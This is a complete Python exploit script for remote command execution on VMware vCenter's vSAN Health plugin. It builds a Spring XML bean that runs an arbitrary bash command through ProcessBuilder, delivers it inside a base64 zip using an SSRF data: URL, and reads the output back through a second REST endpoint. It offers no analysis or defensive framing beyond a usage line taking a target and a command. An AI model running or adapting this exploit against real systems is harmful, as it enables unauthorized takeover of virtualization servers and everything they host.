#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
@Author: r0cky
@Time: 2021/6/3-16:57
"""
import base64
import sys
import zipfile
from urllib.parse import urlparse
 
import zlib
import json
import requests
import urllib3
 
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxies={'https':'http://127.0.0.1:8080'}
 
def banner():
    print("""
==============================================================
         _____           _              _____   _____ ______ 
        / ____|         | |            |  __ \ / ____|  ____|
 __   _| |     ___ _ __ | |_ ___ _ __  | |__) | |    | |__   
 \ \ / / |    / _ \ '_ \| __/ _ \ '__| |  _  /| |    |  __|  
  \ V /| |___|  __/ | | | ||  __/ |    | | \ \| |____| |____ 
   \_/  \_____\___|_| |_|\__\___|_|    |_|  \_\\_____|______|
                              Powered by r0cky Team ZionLab
==============================================================
    """)
 
 
 
def create_xml():
 
    print("[*] Create Xml to offline_bundle.xml ...")
    context = """<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="
     http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder">
        <constructor-arg>
          <list>
            <value>/bin/bash</value>
            <value>-c</value>
            <value><![CDATA[ {cmd} 2>&1 ]]></value>
          </list>
        </constructor-arg>
    </bean>
    <bean id="is" class="java.io.InputStreamReader">
        <constructor-arg>
            <value>#{pb.start().getInputStream()}</value>
        </constructor-arg>
    </bean>
    <bean id="br" class="java.io.BufferedReader">
        <constructor-arg>
            <value>#{is}</value>
        </constructor-arg>
    </bean>
    <bean id="collectors" class="java.util.stream.Collectors"></bean>
    <bean id="system" class="java.lang.System">
        <property name="whatever" value="#{ system.setProperty(&quot;output&quot;, br.lines().collect(collectors.joining(&quot;\n&quot;))) }"/>
    </bean>
</beans>
""".replace("{cmd}", cmd)
    with open('offline_bundle.xml', 'w') as wf:
        wf.write(context)
        wf.flush()
 
def create_zip():
    print("[*] Create Zip to offline_bundle.zip ...")
    with zipfile.ZipFile('offline_bundle.zip', 'w', zipfile.ZIP_DEFLATED) as zp:
        zp.write('offline_bundle.xml')
 
def toBase64():
    with open('offline_bundle.zip', 'rb') as rf:
        return base64.b64encode(rf.read())
 
def poc1(url):
    ssrf_str = "https://localhost:443/vsanHealth/vum/driverOfflineBundle/data:text/html%3Bbase64,{}%23"
    ssrf = ssrf_str.format(bytes.decode(toBase64()))
 
    print ("[*] Get XML to SystemProperties  ...")
    target = url + "/ui/h5-vsan/rest/proxy/service/vmodlContext/loadVmodlPackages"
 
    data = {"methodInput":[[ssrf]]}
 
    r = requests.post(target, data=json.dumps(data), headers=headers, verify=False, proxies=proxies)
 
 
def poc2(url):
 
    print("[*] getProperty   ...")
    target = url + "/ui/h5-vsan/rest/proxy/service/systemProperties/getProperty"
 
    data = {"methodInput": ["output", None]}
 
    r = requests.post(target, data=json.dumps(data), headers=headers,
                      verify=False, proxies=proxies)
    if "result" in r.json():
        print("[+] Command:", cmd)
        print(r.json()['result'])
    else:
        print ("[-] send payload failed.")
 
headers = {"Content-Type": "application/json"}
 
def main(url):
    try:
        create_xml()
        create_zip()
        poc1(url)
        poc2(url)
    except:
        print("[-] send payload failed.")
 
if __name__ == '__main__':
    banner()
    try:
        target = sys.argv[1]
        cmd = sys.argv[2]
        up = urlparse(target)
        target = up.scheme + "://" + up.netloc
        main(target)
    except:
        print("Example: \n\tpython3 " + sys.argv[0] + " <target> <cmd>\n")